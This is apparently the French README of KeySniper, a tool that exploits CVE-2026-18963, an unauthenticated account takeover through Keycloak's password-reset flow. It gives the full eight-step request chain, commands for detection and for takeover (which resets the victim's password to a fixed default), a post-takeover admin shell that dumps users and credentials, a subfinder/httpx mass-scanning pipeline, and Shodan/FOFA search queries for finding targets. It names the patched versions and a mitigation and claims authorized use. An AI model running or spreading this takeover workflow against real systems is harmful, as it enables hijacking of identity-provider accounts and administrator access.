
**CVE-2026-18963** — prise de contrôle non authentifiée de comptes Keycloak via le flux de réinitialisation des identifiants.

Auteur : Mitsec — x.com/ynsmroztas
CVE-2026-18963 — prise de contrôle de compte Keycloak non authentifiée via le flux de réinitialisation des identifiants.
KeySniper est un scanner orienté production pour les bug bounty dans le périmètre autorisé et les évaluations autorisées : sortie radar en direct, découverte de realms, détection vs prise de contrôle, shell interactif post-ATO, et pipeline stdin (subfinder → httpx → KeySniper).
Le mode par défaut est détection (--takeover 0). --takeover 1 modifie le mot de passe du compte sur la cible.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — Mécanisme de récupération de mot de passe faible |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Produit | Keycloak / Red Hat SSO |
| Corrigé dans | 26.7.2, 26.6.6, 26.4.15 |
| Authentification | Aucune |
Deux bugs sont enchaînés :
tryAnotherWay stocke une note de sélecteur générique "true" qui n'est pas limitée à l'ID d'exécution.ResetCredentialEmail.action() appelle context.success() sans vérifier ACTION_TOKEN_USER_ID.Résultat : un appelant non authentifié peut forcer le flux de réinitialisation de mot de passe pour un nom d'utilisateur connu et aboutir sur UPDATE_PASSWORD sans cliquer sur le lien de l'e-mail.
L'analyse n'est pas « mot de passe oublié existe ». La confirmation est :
execution= change (l'exécution de l'e-mail est divulguée)kc-passwd-update-formexec3 = 28e2cd30-… (premier sélecteur)
exec6 = 8fd21174-… (GET pivot)
UPDATE_PASSWORD
[radar] en direct (Localisation, JS, en-têtes, sonde de realm)302 Location + HTML/JS + well-known + liste de mots/authhttpx / subfinder--takeover 0 détection uniquement--takeover 1 définition du mot de passe (par défaut SelaM1337@@)--shell shell interactif token / aide API admin après ATOVULN / ATO rouge, SAFE vert, SKIP jaunepython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9+.
# détection (aucun changement de mot de passe)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# prise de contrôle + shell interactif
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# realm / utilisateur
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# pipeline
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# fichier de liste
python3 KeySniper.py -l urls.txt --takeover 0 -q
Ne pas passer --takeover 1 ou --shell sur un dump de pipeline.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ href mot de passe oublié (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<utilisateur>
[5] GET startSessionPolling / restart (si présent)
[6] GET URL reset-credentials d'origine (pivot)
→ réaffichage du sélecteur + nouvelle execution=
[7] POST sélecteur obsolète (aucun token d'action)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (uniquement si --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update n'est pas compté comme VULN.
S'ouvre uniquement après [ATO] sur une cible unique :
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
Utilise l'octroi de mot de passe propriétaire de la ressource (admin-cli, puis account).
HTTP 403 sur /admin/realms signifie que Direct Access Grants / le rôle admin est limité — l'ATO peut toujours être valide.
/realms/master puis /auth/realms/masterLocation, HTML, JS, "realm":, issuer/realms/{nom} renvoie 200 + corps Keycloak/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (périmètre du programme) :
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ est ignoré sauf si le corps contient issuer / public_key / login-actionsSKIP (le realm a la réinitialisation désactivée)kc-passwd-update-form → SKIPhttpx sont réduits à l'origine (/auth conservé)Keycloak < 26.7.2 (également 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Atténuation : désactiver Mot de passe oublié sur chaque realm, puis mettre à niveau.
La capture d'écran de ce dépôt est expurgée (placeholder sso.lab.local). Les tokens, mots de passe, e-mails et hôtes réels ne sont pas publiés.
Mitsec
X : x.com/ynsmroztas
Utilisation en recherche sur des cibles autorisées dans le périmètre. Gardez --takeover 1 désactivé sur les hôtes hors périmètre.
| Option | Défaut | Signification |
|---|
-u URL | — | Cible unique |
-l FICHIER | — | Liste d'URLs |
| stdin | auto | Lignes httpx (premier champ = URL) |
--takeover 0|1 | 0 | Détection vs changement de mot de passe |
-U UTILISATEUR | admin | Nom d'utilisateur cible |
-r REALM | auto | Forcer le realm ou le découvrir |
--pass | SelaM1337@@ | Nouveau mot de passe si takeover=1 |
-t N | 4 | Threads du pipeline |
-q | désactivé | Résultats uniquement |
--shell | désactivé | Shell post-ATO (cible unique) |
| Statut | Signification |
|---|
VULN | Pivot + UPDATE_PASSWORD (mot de passe non modifié) |
ATO | Étape 8 réussie |
SAFE | Réinitialisation ouverte, aucun sélecteur obsolète (corrigé) |
SKIP | Pas Keycloak / réinitialisation désactivée / fuite sans formulaire UPDATE |
FAIL | Erreur réseau / exception inattendue |